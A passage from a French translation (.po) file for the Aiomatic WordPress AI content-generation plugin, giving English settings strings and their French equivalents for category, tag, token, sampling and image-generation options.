res/aiomatic-amazon-list.php:3436 res/aiomatic-amazon-list.php:3581 #: res/aiomatic-embeddings.php:640 res/aiomatic-main.php:6354 #: res/aiomatic-main.php:6567 res/aiomatic-rules-list.php:1418 #: res/aiomatic-rules-list.php:1545 res/aiomatic-rules-list.php:3902 #: res/aiomatic-rules-list.php:4047 res/aiomatic-shortcodes.php:453 #: res/aiomatic-single-list.php:700 res/aiomatic-spinner-list.php:2843 #: res/aiomatic-youtube-list.php:1198 res/aiomatic-youtube-list.php:1325 #: res/aiomatic-youtube-list.php:3469 res/aiomatic-youtube-list.php:3614 #: res/image-seo/seo-panel.php:82 msgid "Title" msgstr "Titre" #: res/aiomatic-amazon-list.php:1178 res/aiomatic-amazon-list.php:1305 #: res/aiomatic-amazon-list.php:3441 res/aiomatic-amazon-list.php:3586 #: res/aiomatic-embeddings.php:95 res/aiomatic-main.php:6353 #: res/aiomatic-main.php:6562 res/aiomatic-rules-list.php:1419 #: res/aiomatic-rules-list.php:1546 res/aiomatic-rules-list.php:3907 #: res/aiomatic-rules-list.php:4052 res/aiomatic-single-list.php:718 #: res/aiomatic-training.php:293 res/aiomatic-youtube-list.php:1199 #: res/aiomatic-youtube-list.php:1326 res/aiomatic-youtube-list.php:3474 #: res/aiomatic-youtube-list.php:3619 msgid "Content" msgstr "Contenu" #: res/aiomatic-amazon-list.php:1179 res/aiomatic-amazon-list.php:1306 #: res/aiomatic-amazon-list.php:3446 res/aiomatic-amazon-list.php:3591 #: res/aiomatic-rules-list.php:1420 res/aiomatic-rules-list.php:1547 #: res/aiomatic-rules-list.php:3912 res/aiomatic-rules-list.php:4057 #: res/aiomatic-youtube-list.php:1200 res/aiomatic-youtube-list.php:1327 #: res/aiomatic-youtube-list.php:3479 res/aiomatic-youtube-list.php:3624 msgid "Title and Content" msgstr "Titre et Contenu" #: res/aiomatic-amazon-list.php:1188 res/aiomatic-rules-list.php:1429 #: res/aiomatic-youtube-list.php:1209 msgid "" "Select the AI Model to be used for category generator. You can add this to " "the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de catégories. " "Vous pouvez l'ajouter aux catégories d'articles si vous sélectionnez " "\"Catégories générées par l'IA\" dans le champ de configuration \"Ajout " "automatique de catégories\"." #: res/aiomatic-amazon-list.php:1192 res/aiomatic-rules-list.php:1433 #: res/aiomatic-youtube-list.php:1213 msgid "AI Model For Category Generator:" msgstr "Modèle d'IA pour le générateur de catégories :" #: res/aiomatic-amazon-list.php:1211 res/aiomatic-youtube-list.php:1232 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "for generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez " "envoyer à OpenAI pour générer des catégories d'articles. Vous pouvez " "utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande d'invite - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:1212 res/aiomatic-amazon-list.php:1339 #: res/aiomatic-amazon-list.php:1542 res/aiomatic-amazon-list.php:3473 #: res/aiomatic-amazon-list.php:3618 res/aiomatic-amazon-list.php:3804 #: res/aiomatic-rules-list.php:1091 res/aiomatic-rules-list.php:1154 #: res/aiomatic-rules-list.php:1453 res/aiomatic-rules-list.php:1580 #: res/aiomatic-rules-list.php:1779 res/aiomatic-rules-list.php:3605 #: res/aiomatic-rules-list.php:3654 res/aiomatic-rules-list.php:3939 #: res/aiomatic-rules-list.php:4084 res/aiomatic-rules-list.php:4258 #: res/aiomatic-youtube-list.php:1233 res/aiomatic-youtube-list.php:1360 #: res/aiomatic-youtube-list.php:1563 res/aiomatic-youtube-list.php:3506 #: res/aiomatic-youtube-list.php:3651 res/aiomatic-youtube-list.php:3837 #, php-format msgid "" "Please check some tips and tricks about writing prompt commands, here." msgstr "" "Vous trouverez ici quelques conseils et " "astuces sur l'écriture de commandes d'invite." #: res/aiomatic-amazon-list.php:1216 res/aiomatic-rules-list.php:1457 #: res/aiomatic-youtube-list.php:1237 msgid "Prompt For The OpenAI Category Generator:" msgstr "Prompt pour le générateur de catégories OpenAI :" #: res/aiomatic-amazon-list.php:1227 res/aiomatic-amazon-list.php:3485 #: res/aiomatic-rules-list.php:1468 res/aiomatic-rules-list.php:3951 #: res/aiomatic-youtube-list.php:1248 res/aiomatic-youtube-list.php:3518 msgid "" "Select the post category that you want for the automatically generated posts " "to have." msgstr "" "Sélectionnez la catégorie d'articles que vous souhaitez voir figurer dans " "les articles générés automatiquement." #: res/aiomatic-amazon-list.php:1231 res/aiomatic-rules-list.php:1472 #: res/aiomatic-youtube-list.php:1252 msgid "Additional Post Category:" msgstr "Catégorie d'article supplémentaire :" #: res/aiomatic-amazon-list.php:1235 res/aiomatic-amazon-list.php:3508 #: res/aiomatic-rules-list.php:1476 res/aiomatic-rules-list.php:3974 #: res/aiomatic-youtube-list.php:1256 res/aiomatic-youtube-list.php:3541 msgid "Do Not Add a Category" msgstr "Ne pas ajouter de catégorie" #: res/aiomatic-amazon-list.php:1261 res/aiomatic-rules-list.php:1502 #: res/aiomatic-youtube-list.php:1282 msgid "" "This feature will try to remove the WordPress's default post category. This " "may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" "Cette fonctionnalité tente de supprimer la catégorie d'articles par défaut " "de WordPress. Cela peut échouer si aucune catégorie supplémentaire n'est " "ajoutée, car WordPress exige au moins une catégorie pour chaque article." #: res/aiomatic-amazon-list.php:1265 res/aiomatic-rules-list.php:1506 #: res/aiomatic-youtube-list.php:1286 msgid "Remove WP Default Post Category:" msgstr "Supprimer la catégorie d'articles par défaut de WP :" #: res/aiomatic-amazon-list.php:1276 res/aiomatic-amazon-list.php:3542 #: res/aiomatic-rules-list.php:1517 res/aiomatic-rules-list.php:4008 #: res/aiomatic-spinner-list.php:1360 res/aiomatic-youtube-list.php:1297 #: res/aiomatic-youtube-list.php:3575 msgid "" "This option will make the plugin not create categories which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of categories from where the AI should select." msgstr "" "Cette option permet au plugin de ne pas créer de catégories qui n'existent " "pas déjà sur votre site. Pour de meilleurs résultats dans ce cas, assurez-" "vous d'ajouter au prompt la liste des catégories à partir desquelles l'IA " "doit faire son choix." #: res/aiomatic-amazon-list.php:1280 res/aiomatic-rules-list.php:1521 #: res/aiomatic-spinner-list.php:1364 res/aiomatic-youtube-list.php:1301 msgid "Do Not Add Inexisting Categories:" msgstr "N'ajoutez pas de catégories inexistantes :" #: res/aiomatic-amazon-list.php:1287 res/aiomatic-amazon-list.php:3557 #: res/aiomatic-rules-list.php:1528 res/aiomatic-rules-list.php:4023 #: res/aiomatic-youtube-list.php:1308 res/aiomatic-youtube-list.php:3590 msgid "Post Tag Options" msgstr "Options des Tags d'articles" #: res/aiomatic-amazon-list.php:1294 res/aiomatic-rules-list.php:1535 #: res/aiomatic-youtube-list.php:1315 msgid "Do you want to automatically add post tags from the generated items?" msgstr "" "Souhaitez-vous ajouter automatiquement des étiquettes de message à partir " "des éléments générés ?" #: res/aiomatic-amazon-list.php:1298 res/aiomatic-rules-list.php:1539 #: res/aiomatic-youtube-list.php:1319 msgid "Auto Add Tags:" msgstr "Ajout automatique de balises / Tags :" #: res/aiomatic-amazon-list.php:1315 res/aiomatic-rules-list.php:1556 #: res/aiomatic-youtube-list.php:1336 msgid "" "Select the AI Model to be used for tag generator. You can add this to the " "post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings " "field." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour le générateur de balises. Vous " "pouvez l'ajouter aux balises de l'article si vous sélectionnez \"IA " "Generated Tags\" dans le champ de configuration \"Auto Add Tags\"." #: res/aiomatic-amazon-list.php:1319 res/aiomatic-rules-list.php:1560 #: res/aiomatic-youtube-list.php:1340 msgid "AI Model For Post Tag Generator:" msgstr "Modèle d’IA pour le générateur de Tag de messages :" #: res/aiomatic-amazon-list.php:1338 res/aiomatic-youtube-list.php:1359 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "for generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Définissez la liste des commandes (une sur chaque ligne) que vous souhaitez " "envoyer à OpenAI pour générer des balises de messages. Vous pouvez utiliser " "les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande d'invite - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:1343 res/aiomatic-rules-list.php:1584 #: res/aiomatic-youtube-list.php:1364 msgid "Prompt For The OpenAI Post Tag Generator:" msgstr "Prompt pour le générateur de balises de publication OpenAI :" #: res/aiomatic-amazon-list.php:1354 res/aiomatic-amazon-list.php:3630 #: res/aiomatic-rules-list.php:1595 res/aiomatic-rules-list.php:4096 #: res/aiomatic-youtube-list.php:1375 res/aiomatic-youtube-list.php:3663 msgid "" "Select the post tags that you want for the automatically generated posts to " "have. Spintax supported." msgstr "" "Sélectionnez les étiquettes de messages que vous souhaitez voir figurer dans " "les messages générés automatiquement. Spintax pris en charge." #: res/aiomatic-amazon-list.php:1358 res/aiomatic-rules-list.php:1599 #: res/aiomatic-youtube-list.php:1379 msgid "Additional Post Tags:" msgstr "Balises Tags de publication supplémentaires :" #: res/aiomatic-amazon-list.php:1365 res/aiomatic-amazon-list.php:3640 #: res/aiomatic-rules-list.php:1606 res/aiomatic-rules-list.php:4106 #: res/aiomatic-youtube-list.php:1386 res/aiomatic-youtube-list.php:3673 msgid "Advanced AI Text Generator Options" msgstr "Options avancées du générateur de texte IA" #: res/aiomatic-amazon-list.php:1372 res/aiomatic-amazon-list.php:3644 #: res/aiomatic-rules-list.php:1613 res/aiomatic-rules-list.php:4110 #: res/aiomatic-youtube-list.php:1393 res/aiomatic-youtube-list.php:3677 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set is 4000 (for modern DaVinci models). For other " "models, the maximum is 2048." msgstr "" "Définissez le nombre maximum de jetons d'API à utiliser pour chaque demande. " "Cela définira la longueur de la réponse de l'API qui en résultera. Chaque " "jeton se compose généralement d'environ 4 caractères. Notez que le nombre de " "jetons envoyés à l'API en tant qu'invite d'article est également pris en " "compte dans cette valeur. La valeur maximale pouvant être définie est de " "4000 (pour les modèles DaVinci modernes). Pour les autres modèles, le " "maximum est de 2048." #: res/aiomatic-amazon-list.php:1376 res/aiomatic-rules-list.php:1617 #: res/aiomatic-spinner-list.php:1872 res/aiomatic-youtube-list.php:1397 msgid "Maximum Total Token Count To Use Per API Request:" msgstr "Nombre maximal de jetons à utiliser par demande d'API :" #: res/aiomatic-amazon-list.php:1387 res/aiomatic-amazon-list.php:3655 #: res/aiomatic-rules-list.php:1628 res/aiomatic-rules-list.php:4121 #: res/aiomatic-youtube-list.php:1408 res/aiomatic-youtube-list.php:3688 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 1000." msgstr "" "Définir le nombre maximum de jetons d'API à utiliser pour chaque demande. " "Cela définira la longueur de la réponse API résultante. Chaque jeton se " "compose généralement d'environ 4 caractères. Ceci définit la quantité de " "contenu que l'API reçoit chaque fois que vous l'appelez. Si l'API reçoit " "plus de données initiales, les résultats seront de meilleure qualité. La " "quantité maximale pouvant être définie est de 1000." #: res/aiomatic-amazon-list.php:1391 res/aiomatic-rules-list.php:1632 #: res/aiomatic-spinner-list.php:1885 res/aiomatic-youtube-list.php:1412 msgid "Maximum Prompt Token Count To Use Per API Request:" msgstr "Nombre maximum de jetons du Prompt à utiliser par demande d'API :" #: res/aiomatic-amazon-list.php:1402 res/aiomatic-amazon-list.php:3666 #: res/aiomatic-rules-list.php:1643 res/aiomatic-rules-list.php:4132 #: res/aiomatic-youtube-list.php:1423 res/aiomatic-youtube-list.php:3699 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 500." msgstr "" "Définissez le nombre maximum de jetons API continus à utiliser pour chaque " "demande. Cela définira la longueur de la réponse de l'API qui en résultera. " "Chaque jeton se compose généralement d'environ 4 caractères. Ceci définit la " "quantité de contenu que l'API reçoit chaque fois que vous l'appelez. Si " "l'API reçoit plus de données initiales, les résultats seront de meilleure " "qualité. La quantité maximale pouvant être définie est de 500." #: res/aiomatic-amazon-list.php:1406 res/aiomatic-rules-list.php:1647 #: res/aiomatic-spinner-list.php:1911 res/aiomatic-youtube-list.php:1427 msgid "Maximum Continue Token Count To Use Per API Request:" msgstr "Nombre maximal de jetons à utiliser par demande d’API :" #: res/aiomatic-amazon-list.php:1417 res/aiomatic-amazon-list.php:3677 #: res/aiomatic-chatbot.php:468 res/aiomatic-chatbot.php:2161 #: res/aiomatic-main.php:2552 res/aiomatic-main.php:3197 #: res/aiomatic-rules-list.php:1658 res/aiomatic-rules-list.php:4143 #: res/aiomatic-spinner-list.php:817 res/aiomatic-spinner-list.php:1923 #: res/aiomatic-youtube-list.php:1438 res/aiomatic-youtube-list.php:3710 msgid "" "What sampling temperature to use. Higher values means the model will take " "more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) " "for ones with a well-defined answer. We generally recommend altering this or " "top_p but not both." msgstr "" "Température d'échantillonnage à utiliser. Des valeurs plus élevées " "signifient que le modèle prendra plus de risques. Essayez 0,9 pour les " "applications plus créatives, et 0 (échantillonnage argmax) pour celles dont " "la réponse est bien définie. Nous recommandons généralement de modifier " "cette valeur ou top_p, mais pas les deux." #: res/aiomatic-amazon-list.php:1421 res/aiomatic-rules-list.php:1662 #: res/aiomatic-youtube-list.php:1442 msgid "AI Temperature:" msgstr "Température de l’IA :" #: res/aiomatic-amazon-list.php:1431 res/aiomatic-amazon-list.php:3689 #: res/aiomatic-chatbot.php:481 res/aiomatic-chatbot.php:2174 #: res/aiomatic-main.php:2567 res/aiomatic-main.php:3212 #: res/aiomatic-rules-list.php:1672 res/aiomatic-rules-list.php:4155 #: res/aiomatic-spinner-list.php:830 res/aiomatic-spinner-list.php:1936 #: res/aiomatic-youtube-list.php:1452 res/aiomatic-youtube-list.php:3722 msgid "" "An alternative to sampling with temperature, called nucleus sampling, where " "the model considers the results of the tokens with top_p probability mass. " "So 0.1 means only the tokens comprising the top 10% probability mass are " "considered. We generally recommend altering this or temperature but not both." msgstr "" "Une alternative à l'échantillonnage avec température, appelée " "échantillonnage par noyau, où le modèle prend en compte les résultats des " "jetons ayant la masse de probabilité la plus élevée. Ainsi, 0,1 signifie que " "seuls les jetons comprenant les 10 % de masse de probabilité les plus élevés " "sont pris en compte. Nous recommandons généralement de modifier ce paramètre " "ou la température, mais pas les deux." #: res/aiomatic-amazon-list.php:1435 res/aiomatic-rules-list.php:1676 #: res/aiomatic-youtube-list.php:1456 msgid "AI Top_p:" msgstr "IA Top_p :" #: res/aiomatic-amazon-list.php:1445 res/aiomatic-amazon-list.php:3701 #: res/aiomatic-chatbot.php:494 res/aiomatic-chatbot.php:2187 #: res/aiomatic-main.php:2582 res/aiomatic-main.php:3227 #: res/aiomatic-rules-list.php:1686 res/aiomatic-rules-list.php:4167 #: res/aiomatic-spinner-list.php:1949 res/aiomatic-youtube-list.php:1466 #: res/aiomatic-youtube-list.php:3734 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "whether they appear in the text so far, increasing the model's likelihood to " "talk about new topics." msgstr "" "Nombre compris entre -2,0 et 2,0. Les valeurs positives pénalisent les " "nouveaux jetons en fonction de leur apparition ou non dans le texte jusqu’à " "présent, ce qui augmente la probabilité que le modèle parle de nouveaux " "sujets." #: res/aiomatic-amazon-list.php:1449 res/aiomatic-rules-list.php:1690 #: res/aiomatic-spinner-list.php:1953 res/aiomatic-youtube-list.php:1470 msgid "AI Presence Penalty:" msgstr "Pénalité de présence de l'IA :" #: res/aiomatic-amazon-list.php:1459 res/aiomatic-amazon-list.php:3713 #: res/aiomatic-chatbot.php:507 res/aiomatic-chatbot.php:2200 #: res/aiomatic-main.php:2597 res/aiomatic-main.php:3242 #: res/aiomatic-rules-list.php:1700 res/aiomatic-rules-list.php:4179 #: res/aiomatic-spinner-list.php:1962 res/aiomatic-youtube-list.php:1480 #: res/aiomatic-youtube-list.php:3746 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "their existing frequency in the text so far, decreasing the model's " "likelihood to repeat the same line verbatim." msgstr "" "Nombre compris entre -2,0 et 2,0. Les valeurs positives pénalisent les " "nouveaux jetons en fonction de leur fréquence existante dans le texte " "jusqu’à présent, ce qui diminue la probabilité que le modèle répète la même " "ligne mot pour mot." #: res/aiomatic-amazon-list.php:1463 res/aiomatic-rules-list.php:1704 #: res/aiomatic-spinner-list.php:1966 res/aiomatic-youtube-list.php:1484 msgid "AI Frequency Penalty:" msgstr "Pénalité de fréquence de l'IA :" #: res/aiomatic-amazon-list.php:1470 res/aiomatic-amazon-list.php:3722 #: res/aiomatic-rules-list.php:1711 res/aiomatic-rules-list.php:4188 #: res/aiomatic-youtube-list.php:1491 res/aiomatic-youtube-list.php:3755 msgid "Image Generator Options" msgstr "Options du générateur d'images" #: res/aiomatic-amazon-list.php:1478 res/aiomatic-rules-list.php:1719 #: res/aiomatic-youtube-list.php:1499 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin's 'Main Settings' menu -> 'Royalty " "Free Featured Image Importing Options' section." msgstr "" "Souhaitez-vous définir une image vedette pour l'article créé (libre de " "droits ou générée par l'IA) ? Veuillez noter que pour que cette " "fonctionnalité fonctionne, vous devez configurer le plugin (ajouter les clés " "API) dans le menu 'Paramètres principaux' du plugin -> 'Royalty Free " "Featured Image Importing Options' section." #: res/aiomatic-amazon-list.php:1482 res/aiomatic-rules-list.php:1723 #: res/aiomatic-youtube-list.php:1503 msgid "Auto Set A Featured Image For Posts (Select Source Below):" msgstr "" "Définir automatiquement une image en vedette pour les articles (sélectionnez " "la source ci-dessous) :" #: res/aiomatic-amazon-list.php:1487 res/aiomatic-amazon-list.php:3742 #: res/aiomatic-youtube-list.php:1508 res/aiomatic-youtube-list.php:3775 msgid "AI Image From Below Selector" msgstr "Image AI à partir du sélecteur ci-dessous" #: res/aiomatic-amazon-list.php:1488 res/aiomatic-amazon-list.php:3747 msgid "Random Amazon Product Thumbnail" msgstr "Vignette aléatoire d'un produit Amazon" #: res/aiomatic-amazon-list.php:1497 res/aiomatic-amazon-list.php:3755 #: res/aiomatic-rules-list.php:1734 res/aiomatic-rules-list.php:4209 #: res/aiomatic-youtube-list.php:1518 res/aiomatic-youtube-list.php:3788 msgid "" "Select the search query repetition mode, when searching royalty free images." msgstr "" "Sélectionnez le mode de répétition de la requête lors de la recherche " "d'images libres de droits." #: res/aiomatic-amazon-list.php:1501 res/aiomatic-rules-list.php:1738 #: res/aiomatic-youtube-list.php:1522 msgid "Search Query Repetition:" msgstr "Répétition des requêtes de recherche :" #: res/aiomatic-amazon-list.php:1505 res/aiomatic-amazon-list.php:3765 #: res/aiomatic-rules-list.php:1742 res/aiomatic-rules-list.php:4219 #: res/aiomatic-youtube-list.php:1526 res/aiomatic-youtube-list.php:3798 msgid "Use Different Search Queries For Images" msgstr "Utiliser des requêtes de recherche différentes pour les images" #: res/aiomatic-amazon-list.php:1506 res/aiomatic-amazon-list.php:3770 #: res/aiomatic-rules-list.php:1743 res/aiomatic-rules-list.php:4224 #: res/aiomatic-youtube-list.php:1527 res/aiomatic-youtube-list.php:3803 msgid "Use The Same Search Query For Images" msgstr "Utiliser la même requête de recherche pour les images" #: res/aiomatic-amazon-list.php:1515 res/aiomatic-amazon-list.php:3777 #: res/aiomatic-rules-list.php:1752 res/aiomatic-rules-list.php:4231 #: res/aiomatic-youtube-list.php:1536 res/aiomatic-youtube-list.php:3810 msgid "" "Do you want to enable the AI Image Generator and to replace Royalty Free " "Images with AI generated images?" msgstr "" "Voulez-vous activer le générateur d'images IA et remplacer les images libres " "de droits par des images générées par l'IA ?" #: res/aiomatic-amazon-list.php:1519 res/aiomatic-rules-list.php:1756 #: res/aiomatic-spinner-list.php:1158 res/aiomatic-youtube-list.php:1540 msgid "AI Image Source:" msgstr "Source de l’image IA :" #: res/aiomatic-amazon-list.php:1523 res/aiomatic-rules-list.php:1760 #: res/aiomatic-spinner-list.php:952 res/aiomatic-spinner-list.php:1180 #: res/aiomatic-youtube-list.php:1544 msgid "Royalty Free" msgstr "Libre de droits" #: res/aiomatic-amazon-list.php:1524 res/aiomatic-amazon-list.php:3792 #: res/aiomatic-main.php:5011 res/aiomatic-rules-list.php:1761 #: res/aiomatic-rules-list.php:4246 res/aiomatic-spinner-list.php:935 #: res/aiomatic-spinner-list.php:1165 res/aiomatic-youtube-list.php:1545 #: res/aiomatic-youtube-list.php:3825 msgid "OpenAI/AiomaticAPI" msgstr "OpenAI/AiomaticAPI" #: res/aiomatic-amazon-list.php:1529 res/aiomatic-amazon-list.php:3797 #: res/aiomatic-main.php:1809 res/aiomatic-rules-list.php:1766 #: res/aiomatic-rules-list.php:4251 res/aiomatic-spinner-list.php:944 #: res/aiomatic-spinner-list.php:1173 res/aiomatic-youtube-list.php:1550 #: res/aiomatic-youtube-list.php:3830 msgid "Stability.AI" msgstr "Stabilité.IA" #: res/aiomatic-amazon-list.php:1541 res/aiomatic-youtube-list.php:1562 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "au générateur d'images AI. Cette commande peut être n'importe quelle tâche " "ou ordre donné, sur la base duquel le générateur d'images génèrera des " "images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. La longueur de " "cette commande ne doit pas être supérieure à 1000 caractères, sinon le " "plugin la réduira à 1000 caractères. - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:1546 res/aiomatic-rules-list.php:1783 #: res/aiomatic-youtube-list.php:1567 msgid "Prompt For The AI Image Generator:" msgstr "Prompt pour le générateur d’images IA :" #: res/aiomatic-amazon-list.php:1557 res/aiomatic-amazon-list.php:3817 #: res/aiomatic-rules-list.php:1794 res/aiomatic-rules-list.php:4271 #: res/aiomatic-youtube-list.php:1578 res/aiomatic-youtube-list.php:3850 msgid "Select the size of the generated image." msgstr "Sélectionnez la taille de l’image générée." #: res/aiomatic-amazon-list.php:1561 res/aiomatic-rules-list.php:1798 #: res/aiomatic-youtube-list.php:1582 msgid "Generated Image Size:" msgstr "Taille de l’image générée :" #: res/aiomatic-amazon-list.php:1565 res/aiomatic-amazon-list.php:3827 #: res/aiomatic-chatbot.php:2084 res/aiomatic-main.php:2743 #: res/aiomatic-rules-list.php:1802 res/aiomatic-rules-list.php:4281 #: res/aiomatic-spinner-list.php:990 res/aiomatic-youtube-list.php:1586 #: res/aiomatic-youtube-list.php:3860 msgid "256x256" msgstr "256x256" #: res/aiomatic-amazon-list.php:1566 res/aiomatic-amazon-list.php:3832 #: res/aiomatic-chatbot.php:2085 res/aiomatic-main.php:2744 #: res/aiomatic-rules-list.php:1803 res/aiomatic-rules-list.php:4286 #: res/aiomatic-spinner-list.php:995 res/aiomatic-youtube-list.php:1587 #: res/aiomatic-youtube-list.php:3865 msgid "512x512" msgstr "512x512" #: res/aiomatic-amazon-list.php:1567 res/aiomatic-amazon-list.php:3837 #: res/aiomatic-chatbot.php:2086 res/aiomatic-main.php:2745 #: res/aiomatic-rules-list.php:1804 res/aiomatic-rules-list.php:4291 #: res/aiomatic-spinner-list.php:1000 res/aiomatic-youtube-list.php:1588 #: res/aiomatic-youtube-list.php:3870 msgid "1024x1024" msgstr "1024x1024" #: res/aiomatic-amazon-list.php:1576 res/aiomatic-amazon-list.php:3842 #: res/aiomatic-rules-list.php:1813 res/aiomatic-rules-list.php:4296 #: res/aiomatic-youtube-list.php:1597 res/aiomatic-youtube-list.php:3875 #, php-format msgid "" "Insert a comma separated list of links to valid images that will be set " "randomly for the featured image for the posts that do not have a valid image " "attached or if you disabled automatical featured image generator. You can " "also use image numeric IDs from images found in the Media Gallery. To " "disable this feature, leave this field blank. Spintax supported. You can " "also use the %%random_image[keyword]%% shortcode to automatically import a " "random image from Google Image Search with the Creative Commons filter " "applied. To get a related image, you can also use: " "%%random_image[%%post_title%%]%%" msgstr "" "Insérez une liste de liens, séparés par des virgules, vers des images " "valides qui seront choisies de manière aléatoire comme image vedette pour " "les articles qui n'ont pas d'image valide attachée ou si vous avez désactivé " "le générateur automatique d'images vedettes. Vous pouvez également utiliser " "les identifiants numériques des images trouvées dans la galerie de médias. " "Pour désactiver cette 